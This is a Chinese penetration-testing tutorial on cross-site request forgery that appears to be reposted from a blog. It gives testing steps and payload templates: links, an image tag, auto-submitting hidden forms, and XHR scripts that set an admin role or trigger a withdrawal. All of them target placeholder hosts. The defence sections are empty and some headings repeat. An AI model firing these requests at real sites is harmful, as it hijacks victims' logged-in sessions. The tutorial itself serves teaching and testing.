当前位置:网站首页>WEB 渗透之CSRF
WEB 渗透之CSRF
2022-08-03 18:13:00 【weixin_53150482】
CSRF
文章目录
1. 介绍
- 定义: CSRF 称为跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中,先被攻击的网站发起跨站请求,利用受害者在被攻击网站已经
获取的注册凭证
,绕过后台的用户验证,达到冒充用户被攻击的网站执行某项操作的目的
2. 产生原因
3. 漏洞利用
1. 攻击流程
2. 常见的攻击类型
攻击思路
- 查看有无token等验证身份的参数,删掉后是否返回正常
- 查看header中referer,origin参数,删掉后是否返回正常
- 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
- 去掉referer中域名后面的文件夹或文件
- 替换二级域名
1. GET 类型
- 需要用户交互
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
- 无用户交互
<img src="http://www.example.com/api/setusername?username=CSRFd">
2. POST 类型
- 需要用户交互
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
- 不需要用户浇花:
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> <script> document.getElementById("autosubmit").submit(); </script>
3. 链接类型
- 该类型的 CSRF 需要引导用户点击链接才会触发
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> 重磅消息!! <a/>
4. JSON GET
<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script>
5. JSON POST
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); //application/json is not allowed in a simple request. text/plain is the default xhr.setRequestHeader("Content-Type", "text/plain"); //You will probably want to also try one or both of these //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //xhr.setRequestHeader("Content-Type", "multipart/form-data"); xhr.send('{"role":admin}'); </script>
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script>
3. CSRF 特点
- 攻击一般发生在第三方网站
- 攻击是利用受害者在登陆网站的登录凭证,冒充受害者的提交操作
- 整个过程中攻击者仅仅是
冒用受害者的登录凭证
4. 浏览器的 Cookie 策略
介绍: Cookie 是服务器发送到用户浏览器并保存到本地上的一小块数据,会在浏览器下次访问的时候向同一服务器发起请求并发送到服务器上,Cookie 主要用户三个方面
- 会话管理
- 个性化设置
分类:
Session Cookie (绘画器 Cookie) 最简单的 Cookie , 仅在会话期内有效,浏览器关闭之后会被自动删除
Permanent Cookie (持久性 Cookie): 持久性 Cookie 可以指定一个特定的过期时间或有效期
举例:
('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);
上述创建的 Cookie 中,mycookie 属于会话期 Cookie, test 属于持久性 Cookie。
每个 Cookie 都会有与之关联的域,这个域的范围一般通过 domain 属性指定,如果 Cookie 的域和页面的域相同,那么这个 Cookie 称为 第一方 Cookie, 如果 Cookie 的域和页面的域不同,则称为第三方的 Cookie ,一个页面包含的图片或存放在其他域上的资源时,第一反应的 Cookie 也只会发送给设置他们的服务器
5. 防护策略:
6. 相关靶场
7. 相关工具
8. 借鉴文章
in.cn/post/6844903689702866952#heading-2)
6. 相关靶场
7. 相关工具
8. 借鉴文章
边栏推荐
猜你喜欢
随机推荐
CC2530_ZigBee+HUAWEI CLOUD IOT: Design your own cold chain acquisition system
oracle 分组合并字段,每组行显示
超T动力 焕“芯”出发 | 中国重汽专属定制版WP14T产品闪耀登场
常见亲脂性细胞膜染料DiO, Dil, DiR, Did光谱图和实验操作流程
rhel8.3 系统下修改有线网卡配置信息实现联网
开篇-开启全新的.NET现代应用开发体验
有人知道flink sql 使用tableEnv.executeSql执行后,怎么获取到任务运行的
CodeTON Round 2 (Div. 1 + Div. 2, Rated, Prizes), problem: (D) Magical Array
【Deliberately practice the view of the back tube】deliberately practice
es6新增-async函数(异步编程的最终解决方案)
每周推荐短视频:为了填补学习资源的空缺,作者专门写了本书?
EasyNTS上云网关断电重启后设备离线是什么原因?
Blender script 删除所有幽灵对象
智能合约安全——delegatecall (2)
大佬们,flinkcdc 2.2 版本采集sqlserver只能采集到全量的数据,不能采集到增量的数
基于PHP7.2+MySQL5.7的回收租凭系统
谷歌浏览器安装插件教程步骤,开发用这2个插件工作效率倍增
es6新增-Generator(异步编程的解决方案2)
【汇编语言03】第2章 寄存器——实验1:查看CPU和内存,用机器指令和汇编指令编程
PHP base notes - NO. 1